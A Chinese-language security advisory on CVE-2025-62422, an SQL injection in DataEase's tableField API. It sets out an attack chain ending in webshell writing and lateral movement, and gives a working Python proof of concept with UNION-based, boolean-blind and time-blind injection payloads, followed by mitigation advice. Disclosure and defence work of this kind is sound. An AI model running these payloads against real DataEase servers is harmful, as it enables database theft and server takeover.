CVE-2025-62422：DataEase平台tableField接口SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-62422

漏洞类型

SQL注入

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

DataEase（开源数据可视化与分析平台）

漏洞概述

CVE-2025-62422是DataEase开源数据可视化与分析平台中的一个高危SQL注入漏洞。该漏洞存在于/de2api/datasetData/tableField接口中，攻击者可以通过构造恶意的tableName参数来执行任意SQL命令。DataEase是一款广泛使用的开源BI（商业智能）工具，支持多种数据源连接、数据分析和可视化展示功能。由于该接口未对用户输入进行充分的过滤和参数化处理，导致恶意SQL语句能够被注入并执行。受影响版本为2.10.13及之前的所有版本，该漏洞已在2.10.14版本中修复。该漏洞的CVSS评分为8.8分，属于高危级别漏洞。攻击者需要具备低权限认证即可利用此漏洞，无需用户交互，且通过网络即可发起攻击。成功利用后，攻击者可以读取、修改或删除数据库中的敏感数据，甚至可能获取数据库服务器的控制权限，对系统的机密性、完整性和可用性均造成严重影响。由于DataEase通常部署在企业环境中，存储有大量业务数据和敏感信息，该漏洞可能对企业数据安全构成重大威胁。

技术细节

该漏洞位于DataEase的/de2api/datasetData/tableField接口中，其根本原因在于服务端在处理tableName参数时未采用预编译参数化查询或充分的输入验证，而是直接将用户输入拼接到SQL语句中执行。具体而言，当用户通过该接口请求数据集表的字段信息时，服务端会使用传入的tableName参数构建SQL查询语句（如SHOW COLUMNS FROM {tableName}或SELECT * FROM {tableName} LIMIT 1等），但未对参数中的特殊字符（如单引号、分号、注释符--或/* */等）进行转义或过滤。攻击者可以构造类似以下的恶意tableName参数：`tableName=test%27;SELECT SLEEP(5)--`，通过单引号闭合原SQL语句，然后注入额外的恶意SQL语句。由于漏洞利用需要低权限认证（PR:L），攻击者需要先获取一个有效的DataEase用户账号，但该权限要求相对较低，普通注册用户即可满足。利用成功后，攻击者可以执行任意SQL语句，包括但不限于：读取数据库中的所有数据（用户凭证、敏感业务数据）、修改或删除数据、获取数据库管理员权限、利用数据库特性（如MySQL的INTO OUTFILE）写入Webshell等。该漏洞的CVSS向量为AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H，表明攻击复杂度低，无需用户交互，且对机密性、完整性和可用性均有高影响。

攻击链分析

STEP 1

步骤1：信息收集

攻击者通过侦察确定目标部署了DataEase 2.10.13或更早版本，可通过访问/de2api/login等公开接口确认系统存在。

STEP 2

步骤2：获取低权限凭证

攻击者通过注册功能、购买泄露凭证、社会工程学或其他方式获取一个有效的DataEase低权限用户账号。由于漏洞利用仅需低权限（PR:L），普通用户即可满足。

STEP 3

步骤3：登录认证

攻击者使用合法凭证登录DataEase平台，获取认证Token（x-de-token），用于后续API调用。

STEP 4

步骤4：构造恶意请求

攻击者向/de2api/datasetData/tableField接口发送包含恶意tableName参数的请求，利用SQL注入payload（如单引号闭合+UNION SELECT或时间盲注语句）。

STEP 5

步骤5：执行任意SQL

服务端将恶意tableName参数拼接到SQL语句中执行，攻击者成功执行任意SQL命令，可读取、修改或删除数据库中的敏感数据。

STEP 6

步骤6：权限提升与数据窃取

攻击者利用数据库特性进一步获取数据库管理员权限，读取用户凭证表、导出敏感数据，或利用INTO OUTFILE写入Webshell获取服务器控制权。

STEP 7

步骤7：持久化与横向移动

攻击者在系统中植入后门，尝试访问其他关联系统，扩大攻击范围，对企业整体安全造成持续威胁。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-62422 PoC - DataEase SQL Injection via tableField endpoint
# Vulnerability: SQL Injection in /de2api/datasetData/tableField
# Affected versions: DataEase <= 2.10.13
# Fixed in: DataEase 2.10.14

import requests

# Target configuration
TARGET_URL = "http://target-dataease-host:8081"
USERNAME = "attacker_user"
PASSWORD = "attacker_password"

# Step 1: Login to obtain authentication token
session = requests.Session()
login_url = f"{TARGET_URL}/de2api/login"
login_payload = {
    "username": USERNAME,
    "password": PASSWORD
}

login_response = session.post(login_url, json=login_payload)
print(f"[*] Login response: {login_response.status_code}")

# Extract authentication token from response
# DataEase typically returns token in response headers or body
token = login_response.headers.get("x-de-token") or login_response.json().get("data", {}).get("token")
headers = {"x-de-token": token} if token else {}

# Step 2: Exploit SQL Injection via tableField endpoint
# The vulnerable endpoint: /de2api/datasetData/tableField
# The tableName parameter is directly concatenated into SQL query
vuln_url = f"{TARGET_URL}/de2api/datasetData/tableField"

# Malicious tableName payload - time-based blind SQL injection
# Original query likely: SHOW COLUMNS FROM {tableName} or similar
# Payload: close the table name string and inject arbitrary SQL
malicious_table_name = "test' UNION SELECT 1,user(),database(),4,5,6,7,8,9,10-- "

params = {
    "tableName": malicious_table_name
}

print(f"[*] Sending SQL injection payload to {vuln_url}")
response = session.get(vuln_url, params=params, headers=headers)
print(f"[*] Response status: {response.status_code}")
print(f"[*] Response body: {response.text[:500]}")

# Alternative: Boolean-based blind SQL injection
# Check if database version starts with specific character
def check_injection(condition):
    payload = f"test' AND ({condition}) AND '1'='1"
    r = session.get(vuln_url, params={"tableName": payload}, headers=headers)
    return r.status_code == 200 and "error" not in r.text.lower()

# Time-based blind SQL injection example
def time_based_check(payload_condition):
    import time
    payload = f"test' AND IF({payload_condition}, SLEEP(3), 0)-- "
    start = time.time()
    r = session.get(vuln_url, params={"tableName": payload}, headers=headers)
    elapsed = time.time() - start
    return elapsed > 2.5  # If response delayed, condition is true

# Extract database version
if time_based_check("LENGTH(VERSION())>0"):
    print("[+] SQL Injection confirmed! Database is reachable.")
    
# Example: Extract current database user
if time_based_check("ASCII(SUBSTRING(USER(),1,1))=114"):  # 'r' for root
    print("[+] Current user likely contains 'r' at position 1")

print("[*] Exploitation complete")

影响范围

DataEase < 2.10.14

DataEase <= 2.10.13

防御指南

临时缓解措施

在无法立即升级的情况下，建议采取以下临时缓解措施：1）通过Web应用防火墙（WAF）或反向代理对/de2api/datasetData/tableField接口进行访问控制，限制仅允许可信IP访问；2）配置WAF规则过滤SQL注入特征，如单引号、UNION、SELECT、SLEEP、BENCHMARK等关键字；3）限制DataEase数据库账号权限，禁止其执行危险操作（如FILE、PROCESS等权限）；4）启用数据库审计日志，密切监控异常SQL执行行为；5）定期轮换用户密码，审查账号使用情况，删除可疑账号。但需注意，这些措施仅为临时方案，官方明确表示不存在已知workaround，强烈建议尽快升级至2.10.14版本以彻底修复漏洞。